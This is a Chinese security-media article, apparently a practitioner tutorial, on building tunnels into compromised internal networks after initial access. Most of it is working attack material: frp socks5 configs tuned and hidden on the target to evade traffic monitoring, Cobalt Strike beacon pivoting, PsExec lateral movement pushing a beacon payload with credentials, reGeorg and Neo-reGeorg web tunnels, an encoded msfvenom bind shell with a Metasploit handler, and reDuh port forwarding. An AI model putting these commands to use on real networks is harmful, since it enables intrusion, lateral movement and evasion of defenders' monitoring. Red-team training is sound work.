专栏名称: 安全祖师爷
国内领先的互联网安全媒体,WEB安全爱好者们交流与分享安全技术的最佳平台!这里聚集了XSS牛、SQL牛、提权牛、WEB牛、开发牛、运维牛,公众号定期分享安全教程及相关工具。与其在别处仰望 不如在这里并肩!
目录
相关文章推荐
生物学霸  ·  大家都用 Deepseek ... ·  10 小时前  
生物制品圈  ·  线上活动 | ... ·  3 天前  
生物探索  ·  Nature Biotechnology ... ·  昨天  
BioArt  ·  ​Genome Biol | ... ·  2 天前  
51好读  ›  专栏  ›  安全祖师爷

实战中内网穿透的打法

安全祖师爷  · 公众号  ·  · 2020-01-06 13:28

正文

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

以下为自我总结“实战中内网穿透的打法”思维导图:

目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

Frp(socks5)

Frp服务端配置文件:

1
[common]
2
bind_port = 8080

Frp客户端配置文件:

1
[common]
2
server_addr = xx.xx.xx.xx
3
server_port = 8080
4
#服务端口使用Web常见端口
5
6
[socks5]
7
type = tcp
8
remote_port = 8088
9
plugin = socks5
10
use_encryption = true




    
 
11
use_compression = true
12
#socks5口令
13
#plugin_user = SuperMan
14
#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。


加密压缩的对比

这是frp客户端配置文件中未使用 encryption compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

使用 encryption compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启。

1
beacon > socks 1024 #端口根据VPS实际情况进行设置

菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

可在主Beacon上用link host链接或unlink host断开。

1
beacon> link 192.168.144.155
2
beacon> unlink 192.168.144.155

Link Listener

在已上线的主机创建Listener。

导出该类型Listener对应的可执行文件或dll等。

选择刚建立的Listener。

上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

1
beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

1
beacon> shell netstat -ano |findstr 4444

SSH Login
1
beacon> ssh 192.168.144.174:22 root admin
2
beacon> ssh 192.168.144.203:22 root admin

在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

1
python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080




    

利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

Neo-reGeorg (加密)

1
python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp 。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

reduh (单端口转发)

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

1
sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2
3
--platform              指定payload的目标平台
4
-e, --encoder            指定需要使用的编码器
5
-i, --iterations           指定payload的编码次数

上传payload到目标服务器,并执行。

metasploit是监听转发后的地址与端口。

1
sudo msfconsole -q
2
msf5 > use exploit/multi/handler
3
msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
4
msf5 exploit(multi/handler) > set rhost 127.0.0.1
5
msf5 exploit(multi/handler) > set lport 5353
6
msf5 exploit(multi/handler) > run -j

reDuhServer传到目标机后,使用reDuhClient进行连接,并将反弹的端口转本地后,

1
java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx
2
3
telnet 127.0.0.1 1010
4
>>[createTunnel]5353:127.0.0.1:53

可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

1






请到「今天看啥」查看全文